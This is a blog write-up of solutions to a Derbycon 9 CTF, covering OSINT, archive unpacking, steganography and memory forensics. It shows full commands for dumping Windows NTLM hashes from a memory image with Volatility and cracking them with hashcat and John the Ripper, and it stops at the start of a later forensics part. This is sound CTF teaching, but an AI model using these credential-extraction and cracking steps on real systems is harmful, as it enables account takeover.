I recently attended the final Derbycon conference. I did not participate in the main conference capture-the-flag (CTF) event, but a jeopardy-style CTF provided by Bank of America caught my eye. Get 250 points and win a challenge coin? I couldn’t resist. For two evenings I wracked up 260 points and won a coin! I wanted to write up my solution to some of the challenges to teach others some things I learned as well as provide notes for myself on future CTF events.

Unfortunately, I waited several weeks after the conference to begin writing this, and I forgot how I solved several of the challenges. This is why you should always take notes during your engagement, whether it’s a challenge site or a real target! I may update this article if I take the time to resolve some of these challenges, but honestly, that probably won’t happen. So, without further ado let’s look at some of the challenges I did remember how to solve.

List of Challenges

Trivia

There were five 2-point challenges related to infosec trivia. I knocked these out of the way to get motivated with some points on the board.

Who crashed 1507 computers in a single day?

This is an homage to one of the classic hacker films, Hackers (1995). The main protagonist, alias Zero Cool (hint: this is the flag), crashed 1,507 computers at the tender age of 11, causing a 7-point drop in the New York Stock Exchange.

Hackers is a definite must-watch classic, but I think Sneakers (1992) is the better 1990s hacker movie.

What season/episode of Mr Robot featured the Derbycon founder’s name used as a fake name by the protagonist?

This is a fun fact about Derbycon’s founder, Dave Kennedy. Mr. Robot is an excellent hacker show dedicated to providing realistic “hacking” behavior. The exploits and commands the show’s protagonists run are actual commands and are usually exactly what a real-life hacker would run in their situation. In season 3 episode 5, the main protagonist, Elliot, pretends to be called “Dave Kennedy” while escaping from law enforcement.

Let’s submit our S3E5 flag and move on.

What is the name of the default wallpaper in Windows XP?

Here we can do some quick Google searching. We quickly see that the answer is Bliss.

300 of these counterfeit processors were sold to New Egg.

We run another Google search and come across this Gizmodo article. The type of processor? i7-920.

And finally:

What is the FCC chairman’s favorite candy?

General

Now for some real challenges. I solved two out of three challenges in this category.

OSINT: Malware author intel for hire

Points: 20

We think a malware author has intel and is willing to share. Find his phone number and call or text him. Handle: @MalwareTrevor

Trevor is an infamous cockroach who lived and died during Derbycon 7. He first appeared in the milkshake of an attendee at a Shake Shack near the conference venue. Derbycon attendees have since held memorials for Trevor outside the Shake Shack, such as this touching tribute during Derbycon 9:

Now it appears Trevor has gone from milkshake spelunker to malware author. We’ll have to put a stop to that! Let’s find some personal information on MalwareTrevor.

The first thing to do is a general Google search to see what hits we get:

Ok! They are on Twitter. Let’s see what we get from their Twitter account.

A link to a Github gist!

Hmm… There doesn’t seem to be anything useful in the gist. But, now we have the author’s Github account.

They keep their interesting stuff on Pastebin, do they? Off we go. Now, I don’t know how to navigate Pastebin, so to find the proper URL for a user profile I made my own account and navigated to my profile. The URL was structured https://pastebin.com/u/<USER> . So, let’s search both handles we’ve discovered for our malware author, MalwareTrevor and MalTrevorMan. MalwareTrevor didn’t exist, however, we get a hit for MalTrevorMan.

Here we see a contact paste for the malware author’s Facebook account. The hunt continues! I had to make a throwaway Facebook account to view the link, but then:

Success! We have a telephone number for the malware author. When I texted the number, I received the flag to submit for this challenge.

Do you like nesting dolls?

Points: 25

Retrieve the flag.

This challenge included a downloadable nesting_dolls.zip file. Inside the zip file was a VSPWXKGO.tar.gz file. Inside that was a FCDLXQSE.7z file. Inside that was a XOREPDRA.7z file. And so on… I actually did about 30 of these manually before looking at my terminal and thinking wow. I am definitely doing this wrong.

I noticed that the archives were either .zip , .tar.gz , .tar.bz2 , .tar , or .7z . I guessed that the final item would include flag in the title and wrote the following script. We clean up the old archive at each stage of the inception hell hole.

#!/bin/bash isflag = $( find . -type f -name 'flag*' | wc -l ) while [ $isflag -eq 0 ] do echo "Looking for flag" ; iszip = $( find . -type f -name '*.zip' | wc -l ) if [ $iszip -gt 0 ] ; then echo "Found a zip" find -type f -name "*.zip" -exec unzip '{}' \; -exec rm '{}' \; fi istargz = $( find . -type f -name '*.tar.gz' | wc -l ) if [ $istargz -gt 0 ] ; then echo "Found tar.gz" find -type f -name "*.tar.gz" -exec tar -xzf '{}' \; -exec rm '{}' \; fi isbz = $( find . -type f -name '*.tar.bz2' | wc -l ) if [ $isbz -gt 0 ] ; then echo "Found biz2" find -type f -name "*.tar.bz2" -exec bzip2 -d '{}' \; fi istar = $( find . -type f -name '*.tar' | wc -l ) if [ $istar -gt 0 ] ; then echo "Found tar" find -type f -name "*.tar" -exec tar -xf '{}' \; -exec rm '{}' \; fi isp7 = $( find . -type f -name '*.7z' | wc -l ) if [ $isp7 -gt 0 ] ; then echo "Found 7z" find -type f -name "*.7z" -exec p7zip -d '{}' \; fi isflag = $( find . -type f -name 'flag*' | wc -l ) done

The script ran 247! iterations before stopping at flag.png .

But we now have our flag:

Binary

I solved one out of four challenges in this category.

Crack the Code

Points: 20

Play the game or don’t.

This challenge included a binary Code_breaker . Running file on this binary, we are told:

➜ file Code_breaker Code_breaker: ELF 64-bit LSB shared object, x86-64, version 1 ( SYSV ) , dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1] = 43508fb0003043cc72f66ae2c8723ace260bb95c, not stripped

Hmm. I don’t know anything about reverse engineering. With a little searching, I find that gdb is the tool I need. I found this StackExchange post that describes how to find the binary’s entry point, set a breakpoint, and walk down the execution.

From the following snippet, we find Entry point: 0x1290. The only problem is that gdb couldn’t access this entry point’s memory location:

➜ gdb Code_breaker GNU gdb ( Ubuntu 8.1-0ubuntu3.1 ) 8.1.0.20180409-git Copyright ( C ) 2018 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "x86_64-linux-gnu" . Type "show configuration" for configuration details. For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>. Find the GDB manual and other documentation resources online at: <http://www.gnu.org/software/gdb/documentation/>. For help , type "help" . Type "apropos word" to search for commands related to "word" ... Reading symbols from Code_breaker... ( no debugging symbols found ) ...done. ( gdb ) info files Symbols from "<redacted path>/Derbycon9/crack_the_code/Code_breaker" . Local exec file: ` <redacted path>/Derbycon9/crack_the_code/Code_breaker ', file type elf64-x86-64. Entry point: 0x1290 0x0000000000000238 - 0x0000000000000254 is .interp 0x0000000000000254 - 0x0000000000000274 is .note.ABI-tag 0x0000000000000274 - 0x0000000000000298 is .note.gnu.build-id 0x0000000000000298 - 0x00000000000002c0 is .gnu.hash 0x00000000000002c0 - 0x0000000000000638 is .dynsym 0x0000000000000638 - 0x0000000000000c1f is .dynstr 0x0000000000000c20 - 0x0000000000000c6a is .gnu.version 0x0000000000000c70 - 0x0000000000000cf0 is .gnu.version_r 0x0000000000000cf0 - 0x0000000000000e40 is .rela.dyn 0x0000000000000e40 - 0x00000000000010b0 is .rela.plt 0x00000000000010b0 - 0x00000000000010c7 is .init 0x00000000000010d0 - 0x0000000000001280 is .plt 0x0000000000001280 - 0x0000000000001288 is .plt.got 0x0000000000001290 - 0x0000000000001ef2 is .text 0x0000000000001ef4 - 0x0000000000001efd is .fini 0x0000000000001f00 - 0x000000000000206b is .rodata 0x000000000000206c - 0x0000000000002100 is .eh_frame_hdr 0x0000000000002100 - 0x00000000000023b4 is .eh_frame 0x00000000000023b4 - 0x000000000000240e is .gcc_except_table 0x0000000000202d98 - 0x0000000000202da8 is .init_array 0x0000000000202da8 - 0x0000000000202db0 is .fini_array 0x0000000000202db0 - 0x0000000000202db8 is .jcr 0x0000000000202db8 - 0x0000000000202fc8 is .dynamic 0x0000000000202fc8 - 0x0000000000203000 is .got 0x0000000000203000 - 0x00000000002030e8 is .got.plt 0x00000000002030e8 - 0x0000000000203100 is .data 0x0000000000203100 - 0x0000000000203338 is .bss (gdb) break *0x1290 Breakpoint 1 at 0x1290 (gdb) run Starting program: <redacted path>/Derbycon9/crack_the_code/Code_breaker Warning: Cannot insert breakpoint 1. Cannot access memory at address 0x1290

After a little more searching, I found this can happen when the program has a value hard-coded that it checks for, like:

if (i == 0x1290) { ... } else { ... }

So, gdb is correctly informing me that the memory address 0x1290 does not exist. I was not able to figure out how to break this binary apart. Instead, I opted to play the game.

I was able to suss out the complicated rules of the game by entering a few guesses:

Ok, you enter 15 digits and the program tells you how many of those digits are in the correct position, and how many of the other digits are valid but in the wrong column. I can brute force this by modifying one column at a time until I know the correct value. The first digit is a 4:

With trial and error, I discover the value:

Nice.

Steganography

There was only one challenge in this category.

Find the Flag

Points: 15

Find the hidden hash.

This challenge came with a Challenge_3.png file. Ok, time to break out the steganography tools.

➜ steghide extract -sf Challenge_3.png Enter passphrase:

I try a few random passwords, none work. Let’s take a look at the metadata.

➜ exiftool Challenge_3.png ExifTool Version Number : 10.80 File Name : Challenge_3.png Directory : . File Size : 76 kB File Modification Date/Time : 2019:09:05 22:40:49-04:00 File Access Date/Time : 2019:09:26 23:25:21-04:00 File Inode Change Date/Time : 2019:09:05 23:01:20-04:00 File Permissions : rw-rw-r-- File Type : PNG File Type Extension : png MIME Type : image/png Image Width : 1000 Image Height : 1000 Bit Depth : 8 Color Type : RGB with Alpha Compression : Deflate/Inflate Filter : Adaptive Interlace : Noninterlaced Profile Name : sRGB IEC61966-2.1 Profile CMM Type : Unknown ( lcms ) Profile Version : 4.3.0 Profile Class : Display Device Profile Color Space Data : RGB Profile Connection Space : XYZ Profile Date Time : 2019:07:25 20:45:41 Profile File Signature : acsp Primary Platform : Microsoft Corporation CMM Flags : Not Embedded, Independent Device Manufacturer : Device Model : Device Attributes : Reflective, Glossy, Positive, Color Rendering Intent : Perceptual Connection Space Illuminant : 0.9642 1 0.82491 Profile Creator : Unknown ( lcms ) Profile ID : 0 Profile Description : sRGB IEC61966-2.1 Profile Copyright : No copyright, use freely Media White Point : 0.9642 1 0.82491 Chromatic Adaptation : 1.04788 0.02292 -0 .05022 0.02959 0.99048 -0 .01707 -0 .00925 0.01508 0.75168 Red Matrix Column : 0.43604 0.22249 0.01392 Blue Matrix Column : 0.14305 0.06061 0.71391 Green Matrix Column : 0.38512 0.7169 0.09706 Red Tone Reproduction Curve : ( Binary data 32 bytes, use -b option to extract ) Green Tone Reproduction Curve : ( Binary data 32 bytes, use -b option to extract ) Blue Tone Reproduction Curve : ( Binary data 32 bytes, use -b option to extract ) Chromaticity Channels : 3 Chromaticity Colorant : Unknown ( 0 ) Chromaticity Channel 1 : 0.64 0.33 Chromaticity Channel 2 : 0.3 0.60001 Chromaticity Channel 3 : 0.14999 0.06 Pixels Per Unit X : 3543 Pixels Per Unit Y : 3543 Pixel Units : meters Image Size : 1000x1000 Megapixels : 1.0

Err, ok. I don’t actually know what I’m doing. Time to slow down, break out Google, and think. Wait, did I open the image yet?

Not too helpful. Wait! If I open it with Image Viewer…

ENHANCE!

Oh. That reads 8f8c2ca5c4bed32e4b364fe26df7f048. Cool. Hackercat can rein it in.

This is a good reminder to always take a moment to breathe and plan out your attack to make sure you stay on target.

Password Cracking

There was only one challenge in this category.

Zip & Pass

Points: 10

Simple, open the zip. Password is numeric.

This challenge gives you a ctf.zip file. Having learned my lesson on the previous challenge, I’m going to double-check:

➜ unzip ctf.zip Archive: ctf.zip [ ctf.zip] flag.txt password: skipping: flag.txt incorrect password

Ok, definitely password-protected. But this is back in territory in which I’m familiar. john is the tool we want. This is a great article to follow on how to crack an encrypted zip file.

So, first step is to compile the jumbo version of john the ripper. We need the jumbo version for its zip2john script that will take an encrypted zip file and hash it appropriately so we can try to crack it.

git clone https://github.com/magnumripper/JohnTheRipper.git cd JohnTheRipper && git checkout bleeding-jumbo cd src ./configure && make -s clean && make -sj4 cd ../run ./john --test

What we want to do now is call the following, assuming we have moved back to the directory with the ctf.zip file.

<path/to/john>/run/zip2john ctf.zip

That should give us:

ver 1.0 efh 5455 efh 7875 ctf.zip/flag.txt PKZIP Encr: 2b chk, TS_chk, cmplen = 52, decmplen = 40, crc = B9F36741 ctf.zip/flag.txt: $pkzip2$1 * 2 * 2 * 0 * 34 * 28 * b9f36741 * 0 * 42 * 0 * 34 * b9f3 * 8468 * f80798210ffe881c173582f883279cff09de606c168d3f225c5e638f60aec160508d97fae4fe41018fb2e31dcb749df37edaf9cc * $/ pkzip2 $: flag.txt:ctf.zip::ctf.zip

Now let’s extract out just the bit we care about:

<path/to/john>/run/zip2john ctf.zip | cut -d ':' -f 2 > hash.txt

That will give us a hash.txt file with the contents:

$pkzip2$1*2*2*0*34*28*b9f36741*0*42*0*34*b9f3*8468*f80798210ffe881c173582f883279cff09de606c168d3f225c5e638f60aec160508d97fae4fe41018fb2e31dcb749df37edaf9cc*$/pkzip2$

Now we have a hash to crack. We could pass in a custom wordlist, but we don’t need to. john has a default wordlist it will use.

➜ <path/to/john>/run/john hash.txt Using default input encoding: UTF-8 Loaded 1 password hash ( PKZIP [ 32/64] ) Will run 12 OpenMP threads Proceeding with single, rules:Single Press 'q' or Ctrl-C to abort, almost any other key for status Almost done : Processing the remaining buffered candidate passwords, if any. Proceeding with wordlist:<path/to/john>/run/password.lst, rules:Wordlist Proceeding with incremental:ASCII 887766 ( ? ) 1g 0:00:00:15 DONE 3/3 ( 2019-09-27 00:00 ) 0.06397g/s 17625Kp/s 17625Kc/s 17625KC/s 886tt5..883mhd Use the "--show" option to display all of the cracked passwords reliably Session completed

Looks like it took about 15 seconds to crack. We can view the results with:

➜ <path/to/john>/run/john hash.txt --show ?:887766 1 password hash cracked, 0 left

The password appears to be 887766. Let’s open our zip file and supply this password:

➜ unzip ctf.zip Archive: ctf.zip [ ctf.zip] flag.txt password: extracting: flag.txt

➜ cat flag.txt Flag = e081129432efb65d52150e47f45899d1

Cryptography

I only solved one out of six challenges in this category.

Solve the Cryptogram

Points: 20

Decode this message and submit the answer. GXFZ YO ZXC OCTSIH CIZJR YI ZXC JZUE YIHCD MIHCJ ZXC KCZZCJ Z

A cryptogram! This is a strong signal to go straight to the trusty quipqiup. We enter our puzzle and click solve, and we see the following results:

Result #4 looks like our winner. What is the second entry in the RTFM index under the letter T? I had left my copy of RTFM at home, but I found this PDF copy on Github. The index begins on page 95, and the second entry under ‘T’ is TCPDump.

Forensics

I solved eight of the 10 challenges in this category. This was my first real foray into memory forensics challenges, so I spent a lot of time in this area and learned a lot. It paid off!

Forensics 101 (part 1)

Points: 10

What is the name of the logged-in user?

This challenge provided a memdump.mem file. I did some searching and identified volatility as the tool I needed to learn. I had a lot of fun with this tool. Volatility is a memory forensics framework. I learned how to use volatility from a few resources. This webpage was a great primer on the basic usage of the tool. This cheat sheet from SANS was also helpful, as well as volatility’s command reference. Let’s see how it works.

I installed it with sudo apt install volatility .

The first thing to do is to examine the memory image you are working with:

➜ volatility -f memdump.mem imageinfo Volatility Foundation Volatility Framework 2.6 INFO : volatility.debug : Determining profile based on KDBG search... Suggested Profile ( s ) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_23418 AS Layer1 : WindowsAMD64PagedMemory ( Kernel AS ) AS Layer2 : FileAddressSpace ( <redacted path>/Derbycon9/forensics101/memdump.mem ) PAE type : No PAE DTB : 0x187000L KDBG : 0xf80002a39110L Number of Processors : 1 Image Type ( Service Pack ) : 1 KPCR for CPU 0 : 0xfffff80002a3ad00L KUSER_SHARED_DATA : 0xfffff78000000000L Image date and time : 2019-07-26 19:37:05 UTC+0000 Image local date and time : 2019-07-26 12:37:05 -0700

Volatility examines the image and attempts to determine what OS it came from. As you can see, it isn’t really sure and provides several different Windows versions. I ended up using the first profile, Win7SP1x64 .

My goal is to find the logged-in user? Let’s use volatility to look at recent terminal history:

➜ volatility --profile = Win7SP1x64 -f memdump.mem consoles Volatility Foundation Volatility Framework 2.6 ************************************************** ConsoleProcess: conhost.exe Pid: 1612 Console: 0xffdd6200 CommandHistorySize: 50 HistoryBufferCount: 2 HistoryBufferMax: 4 OriginalTitle: - Title: - ---- CommandHistory: 0x2515a0 Application: - Flags: Allocated CommandCount: 0 LastAdded: -1 LastDisplayed: -1 FirstCommand: 0 CommandCountMax: 50 ProcessHandle: 0x58 ---- CommandHistory: 0x2512f0 Application: cygrunsrv.exe Flags: CommandCount: 0 LastAdded: -1 LastDisplayed: -1 FirstCommand: 0 CommandCountMax: 50 ProcessHandle: 0x0 ---- Screen 0x26fdd0 X:80 Y:300 Dump: ************************************************** ConsoleProcess: conhost.exe Pid: 744 Console: 0xffdd6200 CommandHistorySize: 50 HistoryBufferCount: 2 HistoryBufferMax: 4 OriginalTitle: %SystemRoot% \s ystem32 \c md.exe Title: Administrator: C: \W indows \s ystem32 \c md.exe AttachedProcess: cmd.exe Pid: 1940 Handle: 0x60 ---- CommandHistory: 0x22ef70 Application: whoami.exe Flags: CommandCount: 0 LastAdded: -1 LastDisplayed: -1 FirstCommand: 0 CommandCountMax: 50 ProcessHandle: 0x0 ---- CommandHistory: 0x22ec50 Application: cmd.exe Flags: Allocated, Reset CommandCount: 1 LastAdded: 0 LastDisplayed: 0 FirstCommand: 0 CommandCountMax: 50 ProcessHandle: 0x60 Cmd #0 at 0x22d810: whoami ---- Screen 0x211100 X:80 Y:300 Dump: Microsoft Windows [ Version 6.1.7601] Copyright ( c ) 2009 Microsoft Corporation. All rights reserved. C: \U sers \C TF-User-Admin>whoami ctf-win-7 \c tf-user-admin C: \U sers \C TF-User-Admin> ************************************************** ConsoleProcess: conhost.exe Pid: 1760 Console: 0xffdd6200 CommandHistorySize: 50 HistoryBufferCount: 1 HistoryBufferMax: 4 OriginalTitle: C: \U sers \C TF-User-Admin \D esktop \f lag449.exe Title: C: \U sers \C TF-User-Admin \D esktop \f lag449.exe AttachedProcess: flag449.exe Pid: 2368 Handle: 0x60 ---- CommandHistory: 0x21ecb0 Application: flag449.exe Flags: Allocated CommandCount: 0 LastAdded: -1 LastDisplayed: -1 FirstCommand: 0 CommandCountMax: 50 ProcessHandle: 0x60 ---- Screen 0x201170 X:80 Y:300 Dump: Please Enter Password:

It looks like ctf-user-admin most recently used this machine.

Forensics 101 (part 2)

Points: 30

What is the user’s password?

Ok, Windows’ passwords are stored inside C:\windows\system32\config\SAM . I have to figure out how to retrieve the contents of that file through volatility. I need to learn a little bit more about how Windows works. The SAM file is locked by the kernel and not accessible when the operating system is booted up. This file is encrypted with a key stored in C:\windows\system32\config\system which is similarly locked from access. During boot, Windows will decrypt the values in the SAM file using the key in the system file and load the hashes into the registry. Windows uses NTLM hashes, which are known to be quite weak. An important concept is Windows’ registry hives. In particular, it would be really cool if we could see inside the HKEY_LOCAL_MACHINE\SAM hive.

It turns out, volatility makes this really simple for us. Volatility has a hivelist command to locate the virtual addresses of registry hives in memory. We can then use the hashdump command to retrieve cached domain credentials out of the registry hive. We need to pass hashdump the virtual addresses of \windows\system32\config\SAM ( -s ) and \registry\machine\system ( -y ) so volatility can decrypt the hashes.

➜ volatility --profile = Win7SP1x64 -f memdump.mem hivelist Volatility Foundation Volatility Framework 2.6 Virtual Physical Name ------------------ ------------------ ---- 0xfffff8a004d64010 0x000000002311d010 \S ystemRoot \S ystem32 \C onfig \D EFAULT 0xfffff8a00000f010 0x000000002719a010 [ no name] 0xfffff8a000024010 0x00000000270a5010 \R EGISTRY \M ACHINE \S YSTEM 0xfffff8a0000531f0 0x00000000271d41f0 \R EGISTRY \M ACHINE \H ARDWARE 0xfffff8a000534410 0x0000000024038410 \D evice \H arddiskVolume1 \B oot \B CD 0xfffff8a000549010 0x0000000023ff8010 \S ystemRoot \S ystem32 \C onfig \S OFTWARE 0xfffff8a000d21010 0x0000000021127010 \S ystemRoot \S ystem32 \C onfig \S ECURITY 0xfffff8a000d93010 0x0000000018bff010 \S ystemRoot \S ystem32 \C onfig \S AM 0xfffff8a000e06010 0x00000000185ff010 \? ? \C : \W indows \S erviceProfiles \N etworkService \N TUSER.DAT 0xfffff8a000e98010 0x0000000017f08010 \? ? \C : \W indows \S erviceProfiles \L ocalService \N TUSER.DAT 0xfffff8a0010c6010 0x0000000010ce9010 \? ? \C : \U sers \s shd_server

tuser.dat 0xfffff8a001152010 0x00000000101b7010 \? ? \C : \U sers \s shd_server \A ppData \L ocal \M icrosoft \W indows \U srClass.dat 0xfffff8a0011cf010 0x000000000f764010 \? ? \C : \S ystem Volume Information \S yscache.hve 0xfffff8a0014c0010 0x00000000309e3010 \? ? \C : \U sers \C TF-User-Admin \A ppData \L ocal \M icrosoft \W indows \U srClass.dat 0xfffff8a001a6b410 0x0000000035afa410 \? ? \C : \U sers \C TF-User-Admin

tuser.dat

Since we want the virtual addresses, we grab 0xfffff8a000024010 \REGISTRY\MACHINE\SYSTEM and 0xfffff8a000d93010 \SystemRoot\System32\Config\SAM . Now for the hashdump command:

➜ volatility hashdump -y 0xfffff8a000024010 -s 0xfffff8a000d93010 --profile = Win7SP1x64 -f memdump.mem Volatility Foundation Volatility Framework 2.6 Administrator:500:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: IEUser:1000:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889::: sshd:1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: sshd_server:1002:aad3b435b51404eeaad3b435b51404ee:8d0a16cfc061c3359db455d00ec27035::: CTF-User-Admin:1003:aad3b435b51404eeaad3b435b51404ee:902122102d5d2b0e3221e6ba4a00f7b9:::

We have the password hashes! But we still need to crack them. Let’s extract the hashes from the output above and move them to a file. We will extract out the NTLM hashes from our result (the last value between the colons).

To crack these hashes we will use hashcat. I installed it with sudo apt install hashcat . Hashcat is similar to john the ripper. People claim that there are differences but I don’t believe them. Both are very powerful tools and, depending on the provided wordlist and cracking parameters, each can outperform the other. In this case, we used john in a previous challenge so let’s look at how we would use hashcat:

➜ hashcat -O -m 1000 -a 3 forensics_101_ch2_hashes_LM.txt hashcat ( v5.1.0 ) starting...

The -O tells hashcat to optimize the workload to my kernel. The set of hashes is so small this makes no impact, but it’s good to know about. We have to tell hashcat what type of hash we’re working with along with the level of aggressiveness we want hashcat to work. -m 1000 tells hashcat that we are giving it NTLM hashes. -a 3 tells hashcat to use the brute-force attack mode.

And off we go.

Session..........: hashcat Status...........: Running Hash.Type........: NTLM Hash.Target......: forensics_101_ch2_hashes_LM.txt Time.Started.....: Fri Sep 27 20:08:33 2019 ( 31 secs ) Time.Estimated...: Fri Sep 27 20:20:54 2019 ( 11 mins, 50 secs ) Guess.Mask.......: ?1?2?2?2?2?2?2?3 [ 8] Guess.Charset....: -1 ?l?d?u, -2 ?l?d, -3 ?l?d * ! $@ _, -4 Undefined Guess.Queue......: 8/15 ( 53.33% ) Speed.#1.........: 7466.3 MH/s ( 9.69ms ) @ Accel:256 Loops:128 Thr:256 Vec:1 Recovered........: 0/4 ( 0.00% ) Digests, 0/1 ( 0.00% ) Salts Progress.........: 230744391680/5533380698112 ( 4.17% ) Rejected.........: 0/230744391680 ( 0.00% ) Restore.Point....: 102891520/2479113216 ( 4.15% ) Restore.Sub.#1...: Salt:0 Amplifier:1664-1792 Iteration:0-128 Candidates.#1....: Iqplb9p $ -> Vsyadnp $ Hardware.Mon.#1..: Temp: 69c Util: 94% Core:1607MHz Mem:3802MHz Bus:16 [ s]tatus [ p]ause [ b]ypass [ c]heckpoint [ q]uit => s Session..........: hashcat Status...........: Running Hash.Type........: NTLM Hash.Target......: forensics_101_ch2_hashes_LM.txt Time.Started.....: Fri Sep 27 20:08:33 2019 ( 3 mins, 55 secs ) Time.Estimated...: Fri Sep 27 20:20:54 2019 ( 8 mins, 26 secs ) Guess.Mask.......: ?1?2?2?2?2?2?2?3 [ 8] Guess.Charset....: -1 ?l?d?u, -2 ?l?d, -3 ?l?d * ! $@ _, -4 Undefined Guess.Queue......: 8/15 ( 53.33% ) Speed.#1.........: 7459.3 MH/s ( 9.75ms ) @ Accel:256 Loops:128 Thr:256 Vec:1 Recovered........: 0/4 ( 0.00% ) Digests, 0/1 ( 0.00% ) Salts Progress.........: 1758325637120/5533380698112 ( 31.78% ) Rejected.........: 0/1758325637120 ( 0.00% ) Restore.Point....: 787742720/2479113216 ( 31.78% ) Restore.Sub.#1...: Salt:0 Amplifier:128-256 Iteration:0-128 Candidates.#1....: b2r6201@ -> p4ku3e1@ Hardware.Mon.#1..: Temp: 78c Util: 93% Core:1607MHz Mem:3802MHz Bus:16

About 8 minutes in on my machine, we get our first hit:

One password is ctfadmin. If we match this hash to the list of users in the volatility hashdump command, we tie this to the ctf-user-admin user. Great! At this point, we have solved the challenge, but if you leave hashcat working you will get an additional hash:

➜ hashcat -O -m 1000 -a 3 forensics_101_ch2_hashes_LM.txt --show fc525c9683e8fe067095ba2ddc971889:Passw0rd! 902122102d5d2b0e3221e6ba4a00f7b9:ctfadmin

--show lets us look up the values that hashcat has cracked previously from hashcat’s potfile. Looks like the system administrator’s password is Passw0rd! . Many secure.

Note: My colleague reminded me that he solved this challenge with john with the command john --format=nt forensics.hash --wordlist=/usr/share/wordlists/rockyou.txt . rockyou.txt is one of the default wordlists on Kali Linux. With this command, john cracked the above passwords in seconds, whereas my hashcat command took about 8 minutes for the first hash and several minutes more for the second.

Forensics 101 (part 3)

Points: 10

What is the hostname of the system?

Surely somewhere in this memory dump is the hostname of the computer. Indeed, the internet tells me that the HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName registry key contains the hostname. Volatility’s printkey command will let us read the value of this key. We can pass a specific hive to printkey with the -o option. Let’s run hivelist again to pull up those virtual addresses:

➜ volatility --profile = Win7SP1x64 -f memdump.mem hivelist Volatility Foundation Volatility Framework 2.6 Virtual Physical Name ------------------ ------------------ ---- 0xfffff8a004d64010 0x000000002311d010 \S ystemRoot \S ystem32 \C onfig \D EFAULT 0xfffff8a00000f010 0x000000002719a010 [ no name] 0xfffff8a000024010 0x00000000270a5010 \R EGISTRY \M ACHINE \S YSTEM 0xfffff8a0000531f0 0x00000000271d41f0 \R EGISTRY \M ACHINE \H ARDWARE 0xfffff8a000534410 0x0000000024038410 \D evice \H arddiskVolume1 \B oot \B CD 0xfffff8a000549010 0x0000000023ff8010 \S ystemRoot \S ystem32 \C onfig \S OFTWARE 0xfffff8a000d21010 0x0000000021127010 \S ystemRoot \S ystem32 \C onfig \S ECURITY 0xfffff8a000d93010 0x0000000018bff010 \S ystemRoot \S ystem32 \C onfig \S AM 0xfffff8a000e06010 0x00000000185ff010 \? ? \C : \W indows \S erviceProfiles \N etworkService \N TUSER.DAT 0xfffff8a000e98010 0x0000000017f08010 \? ? \C : \W indows \S erviceProfiles \L ocalService \N TUSER.DAT 0xfffff8a0010c6010 0x0000000010ce9010 \? ? \C : \U sers \s shd_server

tuser.dat 0xfffff8a001152010 0x00000000101b7010 \? ? \C : \U sers \s shd_server \A ppData \L ocal \M icrosoft \W indows \U srClass.dat 0xfffff8a0011cf010 0x000000000f764010 \? ? \C : \S ystem Volume Information \S yscache.hve 0xfffff8a0014c0010 0x00000000309e3010 \? ? \C : \U sers \C TF-User-Admin \A ppData \L ocal \M icrosoft \W indows \U srClass.dat 0xfffff8a001a6b410 0x0000000035afa410 \? ? \C : \U sers \C TF-User-Admin

tuser.dat

Our key exists under \REGISTRY\MACHINE\SYSTEM so let’s grab that virtual address and look up our registry key:

➜ volatility -f memdump.mem --profile = Win7SP1x64 printkey -o 0xfffff8a000024010 -K 'ControlSet001\Control\ComputerName\ComputerName' Volatility Foundation Volatility Framework 2.6 Legend: ( S ) = Stable ( V ) = Volatile ---------------------------- Registry: \R EGISTRY \M ACHINE \S YSTEM Key name: ComputerName ( S ) Last updated: 2019-07-26 19:15:19 UTC+0000 Subkeys: Values: REG_SZ : ( S ) mnmsrvc REG_SZ ComputerName : ( S ) CTF-WIN-7

We enter our CTF-WIN-7 flag and proceed.

Oh, I suppose you could also look at the consoles output again:

Screen 0x211100 X:80 Y:300 Dump: Microsoft Windows [ Version 6.1.7601] Copyright ( c ) 2009 Microsoft Corporation. All rights reserved. C: \U sers \C TF-User-Admin>whoami ctf-win-7 \c tf-user-admin C: \U sers \C TF-User-Admin> ************************************************** ConsoleProcess: conhost.exe Pid: 1760

ctf-win-7\ctf-user-admin tells us the machine’s hostname is ctf-win-7 .

Forensics 101 (part 4)

Points: 10

There is an odd process running, what is the process name?

Again let’s refer to Volatility’s command reference. The pslist command lists the processes of the system.

Hmm, flag449.exe seems odd.

Bonus fact: you can discover this through the consoles command as well. If you scroll up to where we dump out the recent console activity, you’ll see this snippet:

C: \U sers \C TF-User-Admin> ************************************************** ConsoleProcess: conhost.exe Pid: 1760 Console: 0xffdd6200 CommandHistorySize: 50 HistoryBufferCount: 1 HistoryBufferMax: 4 OriginalTitle: C: \U sers \C TF-User-Admin \D esktop \f lag449.exe Title: C: \U sers \C TF-User-Admin \D esktop \f lag449.exe AttachedProcess: flag449.exe Pid: 2368 Handle: 0x60 ---- CommandHistory: 0x21ecb0 Application: flag449.exe Flags: Allocated CommandCount: 0 LastAdded: -1 LastDisplayed: -1 FirstCommand: 0 CommandCountMax: 50 ProcessHandle: 0x60 ----

We can see that this executable was recently invoked, no doubt leading to the running process captured in the memory dump.

Forensics 101 (part 5)

Points: 10

What was one of the last commands run from the command line?

This is another invocation of consoles :

